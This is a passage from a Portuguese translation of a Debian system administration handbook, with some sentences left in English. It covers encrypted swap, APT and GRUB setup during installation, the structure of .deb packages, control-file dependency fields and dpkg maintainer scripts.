Quando uma partição criptografada é usada, a chave de criptografia é armazenada
emmemória (RAM). Como a recuperação desta chave permite a descriptografia dos
dados, é de extrema importância evitar deixar uma cópia desta chave que possa ser
acessível a um possível ladrão do computador ou disco rígido, ou a um técnico de
manutenção. Isto entretanto é algo que possa acontecer facilmente com um laptop,
já que na hibernação o conteúdo da RAM é armazenado na partição de troca. Se
esta partição não estiver criptografada, o ladrão pode acessar a chave e usá-la para
descriptografar os dados de uma partição criptografada. É por isto que, quando
você usa partições criptografadas, é imperativo também criptografar a partição de
troca!

O instalador Debian vai avisar o usuário se ele tentar fazer uma partição criptogra-
fada mas deixar a partição de troca não criptografada.

Para criar uma partição criptografada, você deve primeiro atribuir uma partição disponível para
este propósito. Para isto, selecione uma partição e indique que ela é para ser usada como um
”volume físico para criptografia” (”physical volume for encryption”). Depois de particionar o
disco contendo o volume físico a ser feito, escolha ”configurar volumes criptografados”. O soft-
ware vai propor iniciar o volume físico com dados aleatórios (tornando a localização dos dados
reais mais difícil). e vai pedir para você entrar uma ”frase-chave criptográfica” (”encryption
passphrase”), que você vai ter que digitar toda vez que iniciar o computador para ter acesso
ao conteúdo da partição criptografada. Uma vez que este passo estiver completo, e você tiver
retornado ao menu da ferramenta de particionamento, uma nova partição vai estar disponível
num ”volume criptografado”, que você pode então configurar como outra partição qualquer. Na
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maioria dos casos, esta partição é usada como um volume físico para LVM para proteger várias
partições (volumes lógicos de LVM) com a mesma chave de criptografia, inclusive a partição de
troca (veja barra lateral Partição de troca (”swap”) criptografada [66]).

4.2.14. Instalando o Sistema Básico

Este passo, que não requer qualquer interação com o usuário, instala os pacotes do ”sistema
básico” do Debian. Isto inclui as ferramentas dpkg e apt, que gerenciam os pacotes Debian,
assim como os utilitários necessários para iniciar o sistema e começar a usá-lo.

Figura 4.11 Instalação do sistema básico

4.2.15. Configurando o Gerenciador de Pacote (apt)

Para poder instalar software adicional, o APT precisa ser configurado e ensinado aonde encon-
trar pacotes Debian. Este passo é o mais automatizado possível. Ele começa com uma pergunta
sobre se ele deve usar fontes de pacotes na rede, ou se deve procurar apenas nos CD-ROMs.

NOTA

CD-ROM do Debian no
dispositivo

Se o instalador detecta um disco de instalação do Debian no leitor de CD/DVD,
não é necessário configurar o APT para procurar por pacotes na rede: o APT é
configurado automaticamente para ler os pacotes do dispositivo demídia removível.
Se o disco é parte de um conjunto, o software vai se oferecer para ”explorar” outros
discos para guardar uma referância de todos os pacotes guardados neles.

Se for preciso obter pacotes da rede, as próximas duas perguntas servem para escolher um servi-
dor do qual irá baixar estes pacotes, escolhendo primeiro um país, então um espelho disponível
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no país (um espelho é um servidor público hospedando cópias de todos os arquivos de um ser-
vidor de arquivos primário do Debian).

Figura 4.12 Selecionando um espelho Debian

Finalmente, o programa propõe usar um proxy HTTP. Se não houver proxy, o acesso à internet
será direto. se você digitar http://proxy.falcot.com:3128, o APT vai usar o proxy/cache da Falcot,
um ”Squid”. Você pode encontrar estas configurações verificando as configurações de um na-
vegador web em outra máquina já conectada nesta mesma rede.
The files Packages.xz and Sources.xz are then automatically downloaded to update the list of
packages recognized by APT.

DE VOLTA AO BÁSICO

Proxy HTTP
Um proxy HTTP é um servidor que encaminha requisições HTTP para os usuários
da rede. Ele em geral ajuda a deixar os downloads mais rápidos mantendo uma
cópia dos arquivos que foram transferidos através dele (e neste caso falamos de
proxy/cache). Em alguns casos, passar por um proxy é a única forma de acessar
um servidor externo; nestes casos é essencial responder a pergunta correspondente
durante a instalação para o programa conseguir baixar pacotes Debian através dele.

Squid é o nome do programa servidor usado pela Falcot Corp para oferecer este
serviço.

4.2.16. Concurso de Popularidade de Pacotes Debian

O sistema Debian contém um pacote chamado popularity-contest (”concurso de popularidade”),
cuja função é compilar estatísticas de uso de pacotes. Semanalmente, este programa coleta in-
formações sobre os pacotes instalados e aqueles usados recentemente, e envia anonimamente
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esta informação para os servidores do projeto Debian. O projeto pode então usar esta informa-
ção para determinar a importância relativa de cada pacote, o que influencia a prioridade dada a
ele. Em particular, os pacotes mais ”populares” serão incluídos no CD-ROM de instalação, o que
vai facilitar o acesso por usuários que não desejam baixá-los ou comprar um conjunto completo
de CDs.
Este pacote é ativado apenas sob-demand, para respeitar a confidencialidade de uso dos usuá-
rios.

4.2.17. Selecionando Pacotes para a Instalação

Os seguintes passos permitem que você escolha a função damáquina em um sentido bem amplo;
as dez tarefas sugeridas correspondem a listas de pacotes para instalação. A lista de pacotes que
vão realmente ser instalados pode receber um ajuste-fino ou ser completada depois. mas isto
fornece um bom ponto de partida de forma simples.
Some packages are also automatically installed according to the hardware detected (thanks to
the program discover-pkginstall from the discover package).

Figura 4.13 Escolhas de tarefas

4.2.18. Instalando o carregador de boot GRUB

O carregador de boot é o primeiro programa a ser iniciado pela BIOS. Este programa carrega o
núcleo Linux na memória e então o executa. geralmente ele oferece um menu para o usuário
escolher o núcleo que será carregado e/ou o sistema operacional para iniciar.
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ATENÇÃO

Carregador de boot e
dual boot

Esta fase no processo de instalação do Debian detecta os sistemas operacionais
que já estão instalados no computador, e adiciona as entradas correspondentes
automaticamente no menu de boot, mas nem todos os programas de instalação
fazem isto.

Em particular, se você instala (ou reinstala) oWindows depois, o carregador de boot
será apagado. O Debian ainda vai estar no seu disco rígido, mas vai ficar inacessí-
vel a partir do menu de boot. Você então terá que iniciar o sistema de instalação
Debian em modo de recuperação para configurar um carregador de boot menos
exclusivista. Esta operação é descrita em detalhes no manual de instalação.

è http://www.debian.org/releases/stable/amd64/ch08s07.html

Por padrão, o menu proposto pelo GRUB contém todos os núcleos Linux instalados, assim como
todos os outros sistemas operacionais que foram detectados. É por isto que você deve aceitar
a proposta de instalar o GRUB no seu ”Master Boot Record”. Como manter versões de núcleos
antigas preserva a habilidade de iniciar o mesmo sistema se o núcleo recentemente instalado
der defeito ou não se adaptar bem ao seu hardware, é melhor manter algumas versões antigas
instaladas.
GRUB é o carregador de boot padrão instalado no Debian devido à sua superioridade técnica:
funciona com a maioria dos sistemas de arquivos e portanto não necessita de uma atualização
após cada instalação de novo núcleo, já que ele lê sua configuração durante o boot e acha a
posição exata do novo núcleo. A Versão 1 do GRUB (conhecida agora como ”Grub Legacy”) não
lida com todas as combinações de LVM e RAID em software; a versão 2, instalada por padrão, é
mais completa. Podem haver ainda situações onde é mais recomendado instalar o LILO (outro
carregador de boot); o instalador vai sugerir isto automaticamente.
Para mais informações sobre configuração do GRUB, leia Seção 8.8.3, “Configuração do GRUB 2”
[175].

ATENÇÃO

Carregadores de boot e
arquiteturas

LILO e GRUB, que foram mencionados neste capítulo, são carregadores de boot
para arquiteturas i386 e amd64. Se você instalar Debian em outra arquitetura, vai
precisar usar outro carregador de boot. Entre outros, podemos citar yaboot ou
quik para powerpc, silo para sparc, aboot para alpha, arcboot para mips.

4.2.19. Finalizando a instalação e reiniciando

A instalação agora está completa, o programa pede para você remover o CD-ROM do leitor e
reiniciar o computador.

4.3. Depois do primeiro Boot

Se você ativou a tarefa ”Ambiente de área de trabalho Debian” (”Debian desktop environment”)
sem qualquer escolha de área de trabalho gráfico explícita (ou com a escolha ”GNOME”), o com-
putador vai exibir o gestor de login gdm3.
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Figura 4.14 Primeiro boot

O usuário que já está criado pode autenticar e começar a trabalhar imediatamente.

4.3.1. Instalando Software adicional

Os pacotes instalados correspondem aos perfis selecionados durante a instalação, mas não ne-
cessariamente ao uso que realmente vai ser feito da máquina. Desta forma, você pode querer
usar uma ferramenta de gerenciamento de pacotes para refina a seleção dos pacotes instalados.
As duas ferramentas mais frequentemente usadas (que estarão instaladas se o perfil ”Ambiente
de área de trabalho Debian” (”Debian desktop environment”) tiver sido escolhido) são o apt
(acessível pela linha de comando) e o synaptic (”Gestor de Pacotes Synaptic” nos menus).
Para facilitar a instalação de grupos coerentes de programas, o Debian cria ”tarefas” que são de-
dicadas a usos específicos (servidor de e-mail, servidor de arquivos, etc.). Você já teve a oportu-
nidade de selecioná-las durante a instalação, e pode acessá-las de novo graças a ferramentas de
gestão de pacotes como o aptitude (as tarefas são listadas em uma seção distinta) e o synaptic
(através do menu Editar→ Marcar Pacotes por Tarefa…).
O Aptitude é uma interface para o APT em modo texto e tela cheia. Com ele o usuário pode
navegar na lista de pacotes disponíveis segundo várias categorias (pacotes instalados ou não-
instalados, por tarefa, por seção, etc), e para ver toda a informação disponível em cada um deles
(dependências, conflitos, descrição, etc.). Cada pacote pode ser marcado com ”instalar” (para
ser instalado, tecla +) ou “remover” (para ser removido, tecla - key). todas estas operações serão
conduzidas simultaneamente uma vez que você tenha confirmado elas ao pressionar a tecla g
(”g” de ”go!”, ”vai” em inglês). Se você esqueceu alguns programas, sem problema; você pode
rodar o aptitude novamente depois que terminar a instalação.
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DICA

o Debian leva em
consideração quem não

fala inglês

Várias tarefas são dedicadas à localização (ou nacionalização) do sistema para ou-
tros idiomas além do inglês. Elas incluem a documentação de pacotes, dicionários,
e vários outros pacotes úteis para falantes de diferentes idiomas. A tarefa apropri-
ada é automaticamente selecionada se um idioma diferente do inglês for escolhido
durante a instalação.

CULTURA

dselect, a antiga interface
de instalação de pacotes

Antes do aptitude, o programa padrão para selecionar pacotes para instalação era
o dselect, a antiga interface gráfica associada ao dpkg. Sendo um programa difícil
para iniciantes usarem, não é recomendado.

Of course, it is possible not to select any task to be installed. In this case, you canmanually install
the desired software with the apt or aptitude command (which are both accessible from the
command line).

VOCABULÁRIO

Dependências de pacotes,
conflitos

No jargão dos pacotes Debian, uma ”dependência” é outro pacote necessário para
o correto funcionamento do pacote em questão. Por outro lado, um ”conflito” é um
pacote que não pode ser instalado junto com outro.

Estes conceitos são discutidos em muitos detalhes em Capítulo 5, Sistema de Paco-
tes: Ferramentas e Princípios Fundamentais [76].

4.3.2. Atualizando o sistema

A first apt upgrade (a command used to automatically update installed programs) is generally
required, especially for possible security updates issued since the release of the latest Debian
stable version. These updates may involve some additional questions through debconf, the
standard Debian configuration tool. For further information on these updates conducted by
apt, please refer to Seção 6.2.3, “Atualização do sistema” [114].
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Como um administrador de sistemas Debian, você rotineiramente manipula pacotes .deb, já que eles
contêm unidades funcionais consistentes (aplicações, documentação, etc.), cujas instalação e
manutenção eles facilitam. Logo é uma boa ideia saber exatamente o que são e como usá-los.



Este capítulo descreve a estrutura e conteúdo dos pacotes ”binários” e ”fontes”. Os primeiros
são arquivos .deb, diretamente usáveis pelo dpkg, enquanto os segundos contém o código fonte,
assim como as instruções para construir os pacotes binários.

5.1. Estrutura de um Pacote Binário

The Debian package format is designed so that its content may be extracted on any Unix system
that has the classic commands ar, tar, and xz (sometimes gzip or bzip2). This seemingly trivial
property is important for portability and disaster recovery.
Imagine, for example, that youmistakenly deleted the dpkgprogram, and that you could thus no
longer install Debian packages. dpkg being a Debian package itself, it would seem your system
would be done for... Fortunately, you know the format of a package and can therefore download
the .deb file of the dpkg package and install it manually (see sidebar dpkg, APT e ar [76]). If by
somemisfortune one ormore of the programs ar, tar or gzip/xz/bzip2 have disappeared, you
will only need to copy the missing program from another system (since each of these operates
in a completely autonomous manner, without dependencies, a simple copy will suffice). If your
system suffered some even more outrageous fortune, and even these don’t work (maybe the
deepest system libraries are missing?), you should try the static version of busybox (provided
in the busybox-static package), which is even more self-contained, and provides subcommands
such as busybox ar, busybox tar and busybox xz.

FERRAMENTAS

dpkg, APT e ar

dpkg é um programa que manipula arquivos .deb, notavelmente extraindo, anali-
sando, e desempacotando os mesmos.

APT é um conjunto de programas que permite a execução alto nível de modificações
no sistema: instalando ou removendo pacotes (enquanto satisfaz dependências),
atualizando o sistema, listando pacotes disponíveis, etc.

As for the ar program, it allows handling files of the same name: ar t archive
displays the list of files contained in such an archive, ar x archive extracts the
files from the archive into the current working directory, ar d archive file de-
letes a file from the archive, etc. Its man page (ar(1)) documents all its other
features. ar is a very rudimentary tool that a Unix administrator would only use
on rare occasions, but admins routinely use tar, a more evolved archive and file
management program. This is why it is easy to restore dpkg in the event of an erro-
neous deletion. You would only have to download the Debian package and extract
the content from the data.tar.xz archive in the system’s root (/):

# ar x dpkg_1.18.24_amd64.deb
# tar -C / -p -xJf data.tar.xz

DE VOLTA AO BÁSICO

Notação de páginas de
manual

Pode ser confuso para iniciantes encontrar referências ao “ar(1)” na literatura.
Isto é geralmente uma forma conveniente de se referir à página man intitulada ar
na seção 1.

Algumas vezes esta notação é também usada para remover ambiguidades, por
exemplo para distinguir entre o comando printf que pode ser indicado por
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printf(1) e a função printf da linguagem de programação C, que pode ser indi-
cada por printf(3).

Capítulo 7, Resolvendo Problemas e Encontrando Informações Relevantes [140] dis-
cute as páginas de manual em muito mais detalhes (veja em Seção 7.1.1, “Páginas
de Manual” [140]).

Dê uma olhada no conteúdo de um arquivo .deb:
$ ar t dpkg_1.18.24_amd64.deb
debian-binary
control.tar.gz
data.tar.xz
$ ar x dpkg_1.18.24_amd64.deb
$ ls
control.tar.gz data.tar.xz debian-binary dpkg_1.18.24_amd64.deb
$ tar tJf data.tar.xz | head -n 15
./
./etc/
./etc/alternatives/
./etc/alternatives/README
./etc/cron.daily/
./etc/cron.daily/dpkg
./etc/dpkg/
./etc/dpkg/dpkg.cfg
./etc/dpkg/dpkg.cfg.d/
./etc/logrotate.d/
./etc/logrotate.d/dpkg
./sbin/
./sbin/start-stop-daemon
./usr/
./usr/bin/
$ tar tzf control.tar.gz
./
./conffiles
./postinst
./md5sums
./prerm
./control
./postrm
$ cat debian-binary
2.0

Como você pode ver, o arquivo ar de um pacote Debian é composto de três arquivos:

• debian-binary. This is a text file which simply indicates the version of the .deb file used
(in 2017: version 2.0).

• control.tar.gz. Este arquivamento contém todas as meta-informações disponíveis,
como o nome e a versão do pacote. Algumas destas meta-informações servem para que
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as ferramentas de gestão de pacotes determinarem se é possível instalar e desinstalar o
pacote, por exemplo, de acordo com a lista de pacotes já instalados na máquina.

• data.tar.xz. This archive contains all of the files to be extracted from the package; this
is where the executable files, documentation, etc., are all stored. Some packages may use
other compression formats, in which case the file will be named differently (data.tar.
bz2 for bzip2, data.tar.gz for gzip).

5.2. Metainformação do Pacote

O pacote Debian não é apenas um arquivamento de arquivos prontos para serem instalados. Ele
é parte de um todo, e descreve sua relação com outros pacotes Debian (dependências, conflitos,
sugestões). Ele também fornece scripts que habilitam a execução de comandos em diferentes
estágios do ciclo de vida do pacote (instalação, remoção, atualizações). Estes dados são usados
pelas ferramentas de gerencia de pacotes mas não são parte do programa empacotado, eles são,
junto com o pacote, o que chamamos de sua “meta-informação” (informação sobre outras infor-
mações).

5.2.1. Descrição: O arquivo control

Este arquivo usa uma estrutura similar a cabeçalhos de email (como foi definido pela RFC 2822).
Por exemplo, para apt, o arquivo control parece com algo como:
$ apt-cache show apt
Package: apt
Version: 1.4.8
Installed-Size: 3539
Maintainer: APT Development Team <deity@lists.debian.org>
Architecture: amd64
Replaces: apt-utils (<< 1.3~exp2~)
Depends: adduser, gpgv | gpgv2 | gpgv1, debian-archive-keyring, init-system-helpers

å (>= 1.18~), libapt-pkg5.0 (>= 1.3~rc2), libc6 (>= 2.15), libgcc1 (>= 1:3.0),
å libstdc++6 (>= 5.2)

Recommends: gnupg | gnupg2 | gnupg1
Suggests: apt-doc, aptitude | synaptic | wajig, dpkg-dev (>= 1.17.2), powermgmt-base,

å python-apt
Breaks: apt-utils (<< 1.3~exp2~)
Description-en: commandline package manager
This package provides commandline tools for searching and
managing as well as querying information about packages
as a low-level access to all features of the libapt-pkg library.
.
These include:
* apt-get for retrieval of packages and information about them
from authenticated sources and for installation, upgrade and
removal of packages together with their dependencies
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* apt-cache for querying available information about installed
as well as installable packages

* apt-cdrom to use removable media as a source for packages
* apt-config as an interface to the configuration settings
* apt-key as an interface to manage authentication keys

Description-md5: 9fb97a88cb7383934ef963352b53b4a7
Tag: admin::package-management, devel::lang:ruby, hardware::storage,
hardware::storage:cd, implemented-in::c++, implemented-in::perl,
implemented-in::ruby, interface::commandline, network::client,
protocol::ftp, protocol::http, protocol::ipv6, role::program,
scope::application, scope::utility, sound::player, suite::debian,
use::downloading, use::organizing, use::searching, works-with::audio,
works-with::software:package, works-with::text
Section: admin
Priority: important
Filename: pool/main/a/apt/apt_1.4.8_amd64.deb
Size: 1231676
MD5sum: 4963240f23156b2dda3affc9c0d416a3
SHA256: bc319a3abaf98d76e7e13ac97ab0ee7c238a48e2d4ab85524be8b10cfd23d50d

DE VOLTA AO BÁSICO

RFC — Padrões da
Internet

RFC é a sigla de “Request For Comments” (requisitando comentários). Um RFC
é geralmente um documento técnico que descreve o que se tornará um padrão de
Internet. Antes de se padronizar e congelar, estes padrões são submetidos para
revisão pública (por isto o nome). O IETF (Internet Engineering Task Force - Força-
tarefa de Engenharia da Internet) decide sobre a evolução do status destes docu-
mentos (proposed standard - padrão proposto, draft standard - padrão rascunho
ou standard - padrão).

RFC 2026 define o processo de padronização dos protocolos de Internet.

è http://www.faqs.org/rfcs/rfc2026.html

Dependências: o campo Depends (depende de)

As dependências são definidas no campo Depends no cabeçalho do pacote. Este campo é uma
lista de condições a serem satisfeitas para o pacote funcionar corretamente — Esta informação
é usada por ferramentas como o apt para instalar as biblitecas necessárias, nas versões corre-
tas, preenchendo as dependências do pacote a ser instalado. Para cada dependência é possível
restringir o intervalo de versões que satisfazem esta condição. Em outras palavras, é possível
expressar o fato de que nós precisamos do pacote libc6 em uma versão igual ou superior a “2.15”
(escreve-se “libc6 (>= 2.15)”). Operadores de comparação de versão são os seguintes:

• <<: menor que;
• <=: menor ou igual que;
• =: igual a (obs, este “2.6.1” não é igual a “2.6.1-1”);
• >=: maior ou igual que;
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• >>: maior que.

In a list of conditions to be met, the comma serves as a separator. It must be interpreted as
a logical “and”. In conditions, the vertical bar (“|”) expresses a logical “or” (it is an inclusive
“or”, not an exclusive “either/or”). Carrying greater priority than “and”, it can be used as many
times as necessary. Thus, the dependency “(A or B) and C” is written A | B, C. In contrast, the
expression “A or (B and C)” should be written as “(A or B) and (A or C)”, since theDepends field
does not tolerate parentheses that change the order of priorities between the logical operators
“or” and “and”. It would thus be written A | B, A | C.
è https://www.debian.org/doc/debian-policy/#document-ch-relationships

O sistema de dependências é umbommecanismo para garantir a operação de umprograma,mas
ele tem outro uso com os ”meta-pacotes”. Estes são pacotes vazios que apenas descrevem de-
pendências. Eles facilitam a instalação de um grupo consistente de programas pré-selecionados
pelo mantenedor do meta-pacote; assim, apt install meta-package vai instalar automatica-
mente todos os programas nas dependências do meta-pacote. Os pacotes gnome, kde-full e linux-
image-amd64 são exemplos de meta-pacotes.

DEBIAN POLICY

Pre-Depends, um Depends
mais exigente

“Pré-dependências”, que são listadas no campo “Pre-Depends” nos cabeçalhos dos
pacotes, completam as dependências normais; suas sintaxes são idênticas. Uma
dependência normal indica que o pacote em questão deve ser desempacotado antes
do pacote que declarou dependência. Uma pré-dependência estipula que o pacote
em questão deve ser desempacotado e configurado antes da execução do script de
pré-instalação do pacote declarando dependência, que é antes da sua instalação.

Uma pré-dependência é muito pesada para o apt, por que ela adiciona uma res-
trição estrita na ordem dos pacotes a instalar. Desta forma, pré-dependências são
desencorajadas a menos que absolutamente necessárias. É até mesmo recomen-
dado consultar outros desenvolvedores no debian-devel@lists.debian.org antes de
adicionar uma pré-dependência. Geralmente é possível encontrar outra solução
que resolva o problema.

Os campos DEBIAN
POLICY, Recommends,
Suggests e Enhances

Os campos Recommends e Suggests descrevem dependências que não são com-
pulsórias. As dependências ”recomendadas” (recommended), as mais importantes,
melhoram consideravelmente a funcionalidade oferecida pelo pacote mas não são
indispensáveis para seu funcionamento. As dependências ”sugeridas” (suggested),
de importância secundária, indicam que certos pacotes podem complementar e
melhorar suas funcionalidades, mas é perfeitamente normal instalar o pacotes sem
estas ”sugestões”.

você deve sempre instalar os pacotes “recomendados”, a menos que você saiba exa-
tamente por que você não precisa deles. Por outro lado, não é necessário instalar
pacotes “sugeridos” a menos que você saiba por que precisa deles.

O campo Enhances também descreve uma sugestão, mas num contexto diferente.
Ele é, na verdade, localizado no pacote sugerido, e não no pacote que se beneficia
da sugestão. Seu interesse reside no fato de ser possível adicionar uma sugestão
sem ter quemodificar o pacote beneficiado. Assim, todos os extras, plugins e outras
extensões de um programa podem, então, aparecer na lista de sugestões relativas
ao software. Embora exista a vários anos, este último campo ainda é bastante ig-
norado por vários programas como o apt ou o synaptic. O objetivo é que uma
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sugestão feita pelo campo Enhances apareça para o usuário junto com as suges-
tões adicionais — encontradas no campo Suggests.

Conflicts: o campo Conflicts

O campoConflicts indica quando umpacote não pode ser instalado simultaneamente com outro.
As razões mais comuns para isto é que ambos os pacotes incluem um arquivo de mesmo nome,
ou fornecem o mesmo serviço na mesma porta TCP, ou vão atrapalhar a operação um do outro.
O dpkg vai se recusar a instalar um pacote se ele iniciar um conflito com um pacote já instalado,
a menos que o novo pacote especifique que ele ”substitui” o pacote instalado, e neste caso o
dpkg vai escolher substituir o pacote antigo pelo novo. O apt sempre vai seguir suas instruções:
se você escolher instalar um novo pacote, ele vai automaticamente se oferecer para desinstalar
o pacote que apresentar um problema.

Incompatibilidades: o campo Breaks

O campo Breaks tem um efeito similar ao do campo Conflicts, mas com um significado especial.
Ele assinala que a instalação de um pacote vai ”quebrar” outro pacote (ou versões específicas
dele). Em geral, esta incompatibilidade entre dois pacotes é transitória, e a relação Breaks se
refere especificamente a estas versões incompatíveis.
O dpkg vai se recusar a instalar um pacote que quebra um pacote já instalado, e o apt vai tentar
resolver o problema atualizando o pacote que vai ser quebrado para uma nova versão (que se
espera que tenha sido corrigida, logo, voltou a ser compatível).
Este tipo de situação pode ocorrer no caso de atualizações sem retrocompatibilidade: este é o
caso se a nova versão não funcionamais com a versão antiga, e causa ummal funcionamento em
outro programa sem fazer ”provisões especiais”. O campo Breaks evita que o usuário se ponha
nestes tipos de problemas.

Itens fornecidos: o campo Provides

Este campo introduz o interessante conceito de ”pacote virtual”. Ele tem muitos papéis, mas
dois são de especial importância. O primeiro consiste em usar um pacote virtual para associar
um serviço genérico com ele (o pacote ”fornece” o serviço). O segundo indica que um pacote
substitui completamente o outro, e que para este propósito ele também pode satisfazer as de-
pendências que o outro satisfaz. É também possível criar um pacote de substituição sem ter que
usar o mesmo nome de pacote.

VOCABULARY

Meta-pacote e pacote
virtual

É essencial distinguir claramente meta-pacotes de pacotes virtuais. Os primeiros
são pacotes reais (incluindo arquivos .deb reais), cujo único propósito é expressar
dependências.
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Pacotes virtuais, por outro lado, não existem fisicamente; eles são simplesmente
um meio de identificar pacotes reais basedo em critérios lógicos, comuns (serviço
fornecido, compatibilidade com um programa padrão ou um pacote pré-existente,
etc.).

Fornecendo um “Serviço” Vamos discutir o primeiro caso em maiores detalhes com um
exemplo: Dizemos que todos os servidores de e-mail, como o postfix ou o sendmail ”fornecem”
o pacote virtual mail-transport-agent. Então, qualquer pacote que precise deste serviço para ser
funcional (e.g. um gerenciador de lista de e-mail, como o smartlist ou o sympa) simplesmente
afirma nas suas dependências que ele precisa de um mail-transport-agent ao invés de especificar
uma grande porém incompleta lista de possíveis soluções (e.g. postfix | sendmail | exim4
| …). Além disso, é inútil instalar dois servidores de e-mail na mesma máquina, sendo por isso
que cada um destes pacotes declara um conflito com o pacote virtual mail-transport-agent. Um
conflito entre um pacote e ele próprio é ignorado pelo sistema, mas esta técnica irá proibir a
instalação de dois servidores de e-mail lado a lado.

DEBIAN POLICY

Lista de pacotes virtuais
Para que pacotes virtuais sejam úteis, todos têm que concordar com seus nomes.
É por isto que eles são padronizados na Política Debian. A lista inclui entre outros
mail-transport-agent para servidores de e-mail, c-compiler para compiladores de
linguagem C,www-browser para navegadores web, httpd para servidores web, ftp-
server para servidores FTP, x-terminal-emulator para emuladores de terminal em
modo gráfico (xterm) e x-window-manager para gerenciadores de janelas.

A lista completa pode ser encontrada na rede.

è http://www.debian.org/doc/packaging-manuals/
virtual-package-names-list.txt

”Interchangeability” com outro pacote The Provides field is also interesting when the con-
tent of a package is included in a larger package. For example, the libdigest-md5-perl Perl module
was an optionalmodule in Perl 5.6, and has been integrated as standard in Perl 5.8 (and later ver-
sions, such as 5.24 present in Stretch). As such, the package perl has since version 5.8 declared
Provides: libdigest-md5-perl so that the dependencies on this package are met if the user has
Perl 5.8 (or newer). The libdigest-md5-perl package itself has eventually been deleted, since it no
longer had any purpose when old Perl versions were removed.
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Figura 5.1 Uso de um campo Provides para não quebrar dependências

Esta funcionalidade é muito útil, já que nunca é possível antecipar os caprichos do desenvol-
vimento, e é preciso poder se renomear, e fazer outras substituições automáticas, de software
obsoleto.

DE VOLTA AO BÁSICO

Perl, uma linguagem de
programação

Perl (Practical Extraction and Report Language) é uma linguagem de programação
muito popular. Ela tem muitos módulos prontos-para-usar que cobrem um vasto
espectro de aplicações e que são distribuídas pelos servidores CPAN (Comprehen-
sive Perl Archive Network), uma ampla rede de pacotes Perl.

è http://www.perl.org/

è http://www.cpan.org/

Como é uma linguagem interpretada, um programa escrito em Perl não precisa de
compilação antes da execução. É por isto que são chamados ”scripts Perl”.

Limitações Antigas Pacotes virtuais costumavam sofrer de algumas limitações, sendo que a
mais significante era a ausência de número de versão. Voltando ao exemplo anterior, uma de-
pendência como Depends: libdigest-md5-perl (>= 1.6), independente da presença do Perl 5.10,
nunca vai ser considerada como satisfeita pelo sistema de empacotamento — embora provavel-
mente esteja satisfeita. Sem perceber isto, o sistema de empacotamento escolhe a opção menos
arriscada, assumindo que as versões não combinam.
This limitation has been lifted in dpkg 1.17.11, and is no longer relevant in Stretch. Packages
can assign a version to the virtual packages they provide with a dependency such as Provides:
libdigest-md5-perl (= 1.8).
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Substituindo arquivos: o campo Replaces

O campo Replaces indica que o pacote contém arquivos que também estão presentes em outros
pacotes, mas que o pacote foi designado legitimamente para substituí-los. Sem esta especifica-
ção, o dpkg falha, dizendo que não pode sobreescrever arquivos de outro pacote (tecnicamente,
é possível força-lo a tal com a opção --force-overwrite, mas isso não é considerado uma opera-
ção padrão). Isto permite a identificação de problemas potenciais e requer que o mantenedor
estude o assunto antes de escolher se adiciona tal campo.
O uso deste campo é justificado quando os nomes dos pacotes mudam ou quando um pacote é
incluído em outro. Também acontece quando o mantenedor decide distribuir arquivos diferen-
tes entre vários pacotes binários produzidos a partir do mesmo fonte: um arquivo substituído
não pertence mais ao pacote antigo, mas apenas ao novo.
Se todos os arquivos num pacote instalado foram substituídos, o pacote é considerado ”a ser
removido”. Finalmente, este campo também encoraja o dpkg a remover o pacote substituido
onde existir conflito.

INDO ALÉM

O campo Tag

In the apt example above, we can see the presence of a field that we have not
yet described, the Tag field. This field does not describe a relationship between
packages, but is simply a way of categorizing a package in a thematic taxonomy.
This classification of packages according to several criteria (type of interface, pro-
gramming language, domain of application, etc.) has been available for a long time.
Despite this, not all packages have accurate tags and it is not yet integrated in all
Debian tools; aptitude displays these tags, and allows them to be used as search
criteria. For those who are repelled by aptitude’s search criteria, the following
website allows navigation of the tag database:

è https://wiki.debian.org/Debtags

5.2.2. Scripts de Configuração

Além do arquivo control, o arquivamento control.tar.gz para cada pacote Debian pode con-
ter vários scripts, chamados pelo dpkg emdiferentes estágios do processamento de umpacote. A
política Debian descreve os possíveis casos em detalhes, especificando os scripts e os argumen-
tos que eles recebem. Estas sequências podem se complicadas, já que se um dos scripts falha,
o dpkg vai tentar retornar a um estado satisfatório cancelando a instalação ou a remoção em
andamento (na medida do possível).

INDO ALÉM

banco de dados do dpkg

Todos os scripts de configuração para pacotes instalados são armazenados no di-
retório /var/lib/dpkg/info/, na forma de um arquivo prefixado com o nome do
pacote. Este diretório também inclui um arquivo com a extensão .list para cada
pacote, contendo a lista de arquivos que pertencem a este pacote.

O arquivo /var/lib/dpkg/status contém uma série de blocos de dados (no for-
mato dos famosos mail headers, RFC 2822) descrevendo o status de cada pacote. A
informação do arquivo control dos pacotes instalados é duplicada aqui.
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Em geral, o script preinst é executado antes da instalação do pacote, enquanto que o postinst
é logo depois. Da mesma forma, o prerm é chamado antes da remoção de um pacote e o postrm
depois. Uma atualização de um pacote é equivalente à remoção da versão anterior e a instalação
do novo. Não é possível descrever em detalhes todos os cenários possíveis aqui, mas vamos
discutir os dois mais comuns: uma instalação/atualização e uma remoção.

ATENÇÃO

nomes simbólicos dos
scripts

As sequências descritas nesta seção chamam scripts de configuração por nomes
específicos, como old-prerm ou new-postinst. Eles são, respectivamente, o script
prerm contido na versão antiga do pacote (instalado antes da atualização) e o script
postinst contido na nova versão (instalado pela atualização).

DICA

Diagramas de estado
Manoj Srivastava made these diagrams explaining how the configuration scripts
are called by dpkg. Similar diagrams have also been developed by the Debian Wo-
men project; they are a bit simpler to understand, but less complete.

è https://people.debian.org/~srivasta/MaintainerScripts.html

è https://www.debian.org/doc/debian-policy/
#maintainer-script-flowcharts

Instalação e upgrade (atualização)

Aqui está o que acontece durante uma instalação (ou uma atualização):

1. Para uma atualização (”update”), o dpkg chama o old-prerm upgrade new-version.

2. Ainda para uma atualização, o dpkg então executa new-preinst upgrade old-version;
para uma primeira instalação, ele executa new-preinst install. Ele pode adicionar a
versão antiga no último parâmetro, se o pacote já foi instalado e removido ”since” (mas
não ”purged”, os arquivos de configuração foram ”retained”).

3. Os arquivos do novo pacote são então desempacotados, se algum arquivo já existe, ele é
substituído, mas uma cópia de backup é temporariamente feita.

4. Para uma atualização, o dpkg executa old-postrm upgrade new-version.

5. dpkg atualiza todos os dados internos (lista de arquivos, scripts de configuração, etc.) e
remove os backups dos arquivos substituídos. Este é o ponto sem volta: o dpkg não tem
mais acesso a todos os elementos necessários para retornar ao estado anterior.

6. O dpkg vai atualizar os arquivos de configuração, pedindo ao usuário para decidir se ele
não for capaz de decidir tudo sozinho. Os detalhes deste procedimento são discutidos em
Seção 5.2.3, “Checksums, Lista de arquivos de configuração” [87].

7. Finalmente, o dpkg configura o pacote executando new-postinst configure
